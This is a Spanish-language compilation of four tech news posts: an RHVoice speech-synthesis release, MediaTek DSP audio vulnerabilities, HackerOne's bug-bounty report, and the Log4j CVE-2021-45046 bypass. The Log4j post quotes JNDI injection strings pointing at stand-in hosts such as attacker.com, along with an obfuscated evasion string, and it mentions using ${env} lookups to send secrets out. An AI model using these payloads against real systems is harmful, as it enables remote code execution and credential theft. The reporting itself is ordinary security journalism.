Hace poco se dio a conocer el lanzamiento de la nueva version del sistema de síntesis de voz abierto RHVoice 1.6.0, el cual fue inicialmente desarrollado para proporcionar soporte de alta calidad para el idioma ruso, pero luego adaptado para otros idiomas, incluidos inglés, portugués, ucraniano, kirguís, tártaro y georgiano.

Para quienes desconocen de RHVoice, les puedo decir que este proyecto utiliza los desarrollos del proyecto HTS (Sistema de Síntesis de Voz basado en HMM / DNN) y un método de síntesis paramétrica con modelos estadísticos (Síntesis Paramétrica Estadística basada en HMM – Modelo Oculto de Markov).

Las ventajas del modelo estadístico son los bajos costos generales y la baja demanda de energía de la CPU. Todas las operaciones se realizan localmente en el sistema del usuario. Se admiten tres niveles de calidad de voz (cuanto menor es la calidad, mayor es el rendimiento y menor es el tiempo de respuesta).

La desventaja del modelo estadístico es la calidad relativamente baja de la pronunciación, que no alcanza el nivel de los sintetizadores que generan el habla a partir de una combinación de fragmentos de habla natural, pero sin embargo el resultado es bastante legible y se asemeja a una emisión desde un altavoz. A modo de comparación, el proyecto Silero, que proporciona un motor abierto para la síntesis de voz basado en tecnologías de aprendizaje automático y un conjunto de modelos para el idioma ruso, es superior en calidad a RHVoice.

Hay 13 voces disponibles para el idioma ruso y las voces se forman sobre la base de grabaciones de voz natural. En la configuración, puede cambiar la velocidad, el tono y el volumen.

La biblioteca de Sonic se puede utilizar para cambiar el tempo . Es posible detectar y cambiar automáticamente el idioma basándose en el análisis del texto de entrada (por ejemplo, para palabras y citas en otro idioma, se puede utilizar el modelo de síntesis nativo del idioma dado). Se admiten perfiles de voz, que definen combinaciones de voz para diferentes idiomas.

El código está escrito en C++ y se distribuye bajo la licencia LGPL 2.1, ademas de que el sistema es admitido en GNU/Linux, Windows y Android. El programa es compatible con las interfaces típicas TTS (texto a voz) para convertir texto a voz: SAPI5 (Windows), Speech Dispatcher (GNU/Linux) y API de Android Text-To-Speech, pero también se puede utilizar en la pantalla NVDA.

Principales novedades de RHVoice 1.6.0

En esta nueva version del sistema se destaca como novedad principal que se agregan 5 nuevas voces para el habla rusa, ademas de que se ha implementado el apoyo al idioma albanés.

Otro de los cambios que se destaca de esta nueva version es que el diccionario fue actualizado para el idioma ucraniano y que el soporte se ha ampliado para expresar caracteres emoji.

Tambien se destaca el trabajo que se realizó en la corrección de errores en la aplicación de la plataforma Android, se simplificó la importación de diccionarios personalizados y se agregó el soporte para la plataforma Android 11.

Por otra parte, tambien podremos encontrar que se agregaron nuevas configuraciones y funcionalidades al núcleo del motor, incluidos g2p.case, word_break y compatibilidad con filtros de ecualización.

Finalmente si estás interesado en poder conocer más al respecto de esta nueva version, puedes consultar los detalles en el siguiente enlace.

Descargar RHVoice

Para aquellos que estén interesados en poder descargar este sistema de síntesis de voz, pueden obtener los paquetes de instalación desde el siguiente enlace.

Ademas se menciona en el anuncio de esta nueva version que para los usuarios de Android que cuenten con RHVoice ya está instalado en su dispositivo, este se actualizará automáticamente, si las actualizaciones automáticas están habilitadas, por lo que no hau necesidad de tener que hacer el proceso manualmente.

En el caso de tener las actualizaciones deshabilitadas y quieren tener la nueva version pueden activar la funcion de buscar actualizaciones manualmente.

Tan pronto como la RHVoice actualizada se ejecute de nuevo, intentará descargar los datos del nuevo idioma. Cuando se descargan los nuevos datos, RHVoice comenzará a usarlos.

from Linux Adictos https://ift.tt/3ISUJou
via IFTTT

Hace algunos dias investigadores de Checkpoint dieron a conocer la noticia de que han identificado tres vulnerabilidades (CVE-2021-0661, CVE-2021-0662, CVE-2021-0663) en el firmware de los chips DSP de MediaTek, así como una vulnerabilidad en la capa de procesamiento de audio de MediaTek Audio HAL (CVE- 2021-0673). En caso de una explotación exitosa de las vulnerabilidades, un atacante puede organizar la escucha clandestina del usuario desde una aplicación sin privilegios para la plataforma Android.

En 2021, MediaTek representa aproximadamente el 37% de los envíos de chips especializados para teléfonos inteligentes y SoC (según otros datos, en el segundo trimestre de 2021, la participación de MediaTek entre los fabricantes de chips DSP para teléfonos inteligentes fue del 43%).

Entre otras cosas, los chips MediaTek DSP se utilizan en los teléfonos inteligentes insignia de Xiaomi, Oppo, Realme y Vivo. Los chips MediaTek, basados ​​en el microprocesador Tensilica Xtensa, se utilizan en teléfonos inteligentes para realizar operaciones como procesamiento de sonido, imágenes y video, en computación para sistemas de realidad aumentada, visión por computadora y aprendizaje automático, así como para implementar carga rápida.

La ingeniería inversa del firmware para los chips DSP de MediaTek basados ​​en la plataforma FreeRTOS reveló varias formas de ejecutar código en el lado del firmware y obtener control sobre las operaciones DSP mediante el envío de solicitudes especialmente diseñadas desde aplicaciones sin privilegios para la plataforma Android.

Se demostraron ejemplos prácticos de ataques en un Xiaomi Redmi Note 9 5G equipado con MediaTek MT6853 SoC (Dimensity 800U). Se observa que los OEM ya han recibido correcciones de vulnerabilidades en la actualización de firmware de octubre de MediaTek.

El objetivo de nuestra investigación es encontrar una forma de atacar el DSP de audio de Android. Primero, debemos comprender cómo se comunica Android que se ejecuta en el procesador de aplicaciones (AP) con el procesador de audio. Obviamente, debe haber un controlador que espere las solicitudes del espacio de usuario de Android y luego, utilizando algún tipo de comunicación entre procesadores (IPC), reenvíe estas solicitudes al DSP para su procesamiento.

Usamos un teléfono inteligente Xiaomi Redmi Note 9 5G rooteado basado en el chipset MT6853 (Dimensity 800U) como dispositivo de prueba. El sistema operativo es MIUI Global 12.5.2.0 (Android 11 RP1A.200720.011).

Como solo hay unos pocos controladores relacionados con los medios presentados en el dispositivo, no fue difícil encontrar el controlador responsable de la comunicación entre el AP y el DSP.

Entre los ataques que se pueden llevar a cabo ejecutando su código a nivel del firmware del chip DSP:

• Escalada de privilegios y omisión del sistema de control de acceso: captura invisible de datos como fotos, videos, grabaciones de llamadas, datos de un micrófono, GPS, etc.
• Denegación de servicio y acciones maliciosas: bloquear el acceso a la información, deshabilitar la protección contra sobrecalentamiento durante la carga rápida.
• Ocultar actividad maliciosa: crear componentes maliciosos completamente invisibles e indelebles que se ejecutan a nivel de firmware.
• Adjuntar etiquetas para espiar a un usuario, como agregar etiquetas sutiles a una imagen o video para luego vincular los datos publicados al usuario.

Los detalles de la vulnerabilidad en MediaTek Audio HAL aún no se han revelado, pero las otras tres vulnerabilidades en el firmware DSP son causadas por una verificación de borde incorrecta al procesar mensajes IPI (Inter-Processor Interrupt) enviados por el controlador de audio audio_ipi al DSP.

Estos problemas permiten provocar un desbordamiento de búfer controlado en los manejadores proporcionados por el firmware, en los que la información sobre el tamaño de los datos transmitidos se tomó de un campo dentro del paquete IPI, sin verificar el tamaño real asignado en la memoria compartida.

Para acceder al controlador durante los experimentos, usamos llamadas ioctls directas o la biblioteca /vendor/lib/hw/audio.primary.mt6853.so, que son inaccesibles para las aplicaciones regulares de Android. Sin embargo, los investigadores encontraron una solución para enviar comandos basados ​​en el uso de opciones de depuración disponibles para aplicaciones de terceros.

Los parámetros especificados se pueden cambiar llamando al servicio de Android AudioManager para atacar las bibliotecas HAL de MediaTek Aurisys (libfvaudio.so), que proporcionan llamadas para interactuar con el DSP. Para bloquear esta solución, MediaTek eliminó la capacidad de usar el comando PARAM_FILE a través de AudioManager.

Finalmente si estás interesado en conocer más al respecto, puedes consultar los detalles en el siguiente enlace.

from Linux Adictos https://ift.tt/30ARsJq
via IFTTT

Está claro que ningún sistema es perfecto y no está exento de ser vulnerado y por muy seguro que diga ser, siempre existirá la manera en la que se pueda acceder a este y ejemplo bastante burdo de ello es sobre el método que diseñaron el año pasado en el cual era posible poder conocer la información de un ordenador que apresar de estar desconectado de la red, con el simple hecho del sonido emitido por los ventiladores, se podía vulnerar.

Y bueno, hablado sobre ello hace poco se dió a conocer el informe anual «Hacker-Powered Security: Industry Insights» de HackerOne muestra que los piratas informáticos éticos identificaron más de 66.000 vulnerabilidades válidas el año pasado.

Para quienes desconocen de HackerOne, una plataforma global de seguridad colaborativa y está ha revelado que los hackers éticos han informado de más de 66.000 vulnerabilidades válidas este año, un 20% más que en 2020.

La seguridad colaborativa es una práctica en crecimiento, particularmente sostenida por un aumento muy significativo en las campañas de pentest (+ 264%). La pandemia ha resultado en una aceleración de la transformación digital y la migración a la nube, exponiendo a las organizaciones a más vulnerabilidades a medida que las superficies de ataque se expanden y los servicios continúan subcontratando.

El informe anual de información de la industria proporciona información de la base de datos de programas de errores y vulnerabilidades más grande del mundo
Generosidad. Nos dice este año que la cantidad de bonificaciones pagadas a los piratas informáticos por la detección de vulnerabilidades críticas va en aumento, y las organizaciones priorizan los errores de mayor impacto.

Las empresas también son más rápidas que nunca en la gestión y solución de vulnerabilidades, ya que estos temas se están convirtiendo en importantes problemas comerciales.

El informe finalmente revela las 10 vulnerabilidades más reportadas, proporcionando una comprensión de cómo priorizar los esfuerzos para remediar las vulnerabilidades y qué vulnerabilidades son más valiosas.

Chris Evans, CISO y recientemente nombrado Director de Hacking de HackerOne comenta:

«Hoy en día, incluso las organizaciones más conservadoras reconocen el valor agregado de la perspectiva externa que aportan los hackers eticos. Por ejemplo, estamos observando un fuerte crecimiento en las prácticas de seguridad colaborativas entre los actores financieros. Medir y cuantificar el riesgo es su actividad principal, y se dan cuenta de que el riesgo es menor cuando se trabaja con piratas informáticos. Nuestros clientes confían en los datos de informes de vulnerabilidad a lo largo de sus ciclos de desarrollo de software. Por lo tanto, pueden detectar fallas antes y corregirlas de forma económica «.

A continuación se muestran algunos hallazgos clave del informe:

La seguridad colaborativa continúa aumentando con un aumento del 34% en el número de programas de seguridad que involucran a hackers éticos en 2021.

Todas las industrias son parte de esta tendencia, incluidas las industrias más críticas, más tradicionalmente conservadoras.

En el sector financiero en particular, los programas de seguridad colaborativa aumentaron en un 62%. En el sector público, estas prácticas se han incrementado en un 89%, impulsadas por instituciones emblemáticas como el Ministerio de Defensa de Reino Unido o la agencia GovTech en Singapur.

Los hackers informaron un 20% más de vulnerabilidades que en 2020. Si bien la recompensa de errores tradicional experimentó un aumento del 10%, los programas de divulgación de vulnerabilidades (VDP) experimentaron un aumento del 47% y los informes de pruebas de penetración (pentests) aumentaron en un 264%.

El precio medio de una recompensa por encontrar una vulnerabilidad crítica aumentó en un 20%, de $ 2500 a $ 3000 en 2021. La cantidad promedio de una recompensa aumentó en un 13% para una vulnerabilidad crítica y un 30% para una vulnerabilidad muy crítica.

Durante el último año, el tiempo medio de resolución ha disminuido un 19%, de 33 días a 26,7 días, ya que algunos sectores como el retail y el comercio electrónico han visto caer el tiempo de resolución en más de 50 días.%.

El error más reportado en HackerOne sigue siendo Cross Site Scripting, sin embargo, otros tipos de errores han experimentado un aumento significativo desde 2020. La divulgación de información ha aumentado en un 58% y los errores de lógica empresarial han experimentado un aumento del 67%, lo que les da por primera vez un lugar en el Top 10.

Finalmente si estás interesado en conocer más al respecto puedes consultar los detalles en el siguiente enlace.

from Linux Adictos https://ift.tt/3F1AIKg
via IFTTT

Hace poco se dió a conocer la noticia de que fue identificada otra vulnerabilidad en la implementación de búsquedas JNDI en la biblioteca Log4j 2 (CVE-2021-45046), que se manifiesta a pesar de las correcciones agregadas en la versión 2.15 e independientemente del uso de la configuración de protección «log4j2.noFormatMsgLookup».

El problema es notablemente peligroso principalmente para versiones anteriores de Log4j 2, protegidas con la bandera «noFormatMsgLookup», ya que permite eludir la protección contra vulnerabilidades pasadas (Log4Shell, CVE-2021-44228), que le permite ejecutar su código en el servidor.

Para los usuarios de la versión 2.15, la operación se limita a crear condiciones para la terminación anormal de la aplicación por agotamiento de los recursos disponibles.

La vulnerabilidad solo afecta a los sistemas que utilizan la búsqueda de contexto, como ${ctx: loginId}, o plantillas de mapa de contexto de subprocesos (MDC), como% X,% mdc y% MDC, para el registro.

La operación se reduce a la creación de condiciones para enviar datos que contienen sustituciones de JNDI al registro cuando se utilizan consultas de contexto o plantillas MDC en la aplicación, que determinan las reglas para formatear la salida al registro.

Los investigadores de LunaSec señalaron que para las versiones de Log4j inferiores a 2.15, esta vulnerabilidad se puede usar como un nuevo vector para un ataque Log4Shell, lo que lleva a la ejecución del código si las expresiones ThreadContext se usan al enviar al registro, que incluye datos externos, independientemente de si la bandera está encendida para protección. «noMsgFormatLookups» o plantilla «% m {nolookups}».

La omisión de protección se reduce al hecho de que en lugar de la sustitución directa «$ {jndi:ldap://example.com/a}», esta expresión se sustituye por el valor de una variable intermedia utilizada en las reglas para formatear la salida a el registro.

Por ejemplo, si se utiliza la solicitud de contexto $ {ctx:apiversion} cuando se envía al registro, el ataque se puede llevar a cabo sustituyendo los datos «$ {jndi: ldap: //attacker.com/a}» en el valor escrito en la variable de desvío.

En la versión Log4j 2.15, la vulnerabilidad se puede utilizar para realizar ataques DoS al pasar valores a ThreadContext, lo que genera un bucle en el procesamiento del patrón de formato de salida.

Para poder tratar de dar solución a los problemas encontrados se han publicado las actualizaciones 2.16 y 2.12.2 para bloquear la vulnerabilidad. En la rama Log4j 2.16, además de las correcciones implementadas en la versión 2.15 y la vinculación de solicitudes JNDI LDAP a «localhost», por defecto la funcionalidad JNDI está completamente deshabilitada y se ha eliminado el soporte para plantillas de sustitución de mensajes.

Como solución alternativa, se sugiere eliminar la clase JndiLookup de la ruta de clases (por ejemplo, «zip -q -d log4j-core – *. Jar org /apache/logging/log4j/core/lookup/JndiLookup.class»).

En cuanto a las acciones tomadas por los diferentes proyectos:

Para Nginx, basado en el módulo njs, se ha preparado un script que bloquea la transmisión de expresiones JNDI en encabezados HTTP, URI y el cuerpo de las solicitudes POST. El script se puede utilizar en servidores frontend para proteger backends.
Para HAProxy , se proporcionan reglas de configuración para bloquear el funcionamiento de CVE-2021-44228.

Además de los anteriormente identificados ataques dirigidos a la formación de una red de bots para criptomoneda la minería, no fueron hechos de la explotación de una vulnerabilidad en Log4J 2 para difundir ransomware malicioso cifrar el contenido de los discos y que requieren un rescate para el descifrado.

Checkpoint ha identificado alrededor de 60 variantes diferentes de exploits utilizados para los ataques.

CloudFlare informó que los intentos de probar la manifestación de una vulnerabilidad en Log4j se identificaron el 1 de diciembre, es decir, 8 días antes de la divulgación pública del problema. Los primeros intentos de explotar la vulnerabilidad se registraron solo 9 minutos después de que se divulgara la información. El informe de CloudFlare también menciona el uso de sustituciones como «$ {env: FOO: -j} ndi: $ {lower: L} da $ {lower: P}» para omitir la máscara «jndi: ldap» y el uso de expresiones de ataque $ {env} para transferir información sobre contraseñas y claves de acceso almacenadas en variables de entorno a un servidor externo, y expresiones $ {sys} para recopilar información sobre el sistema.

Finalmente si estás interesado en poder conocer más al respecto puedes consultar el siguiente enlace.

from Linux Adictos https://ift.tt/33CzY0t
via IFTTT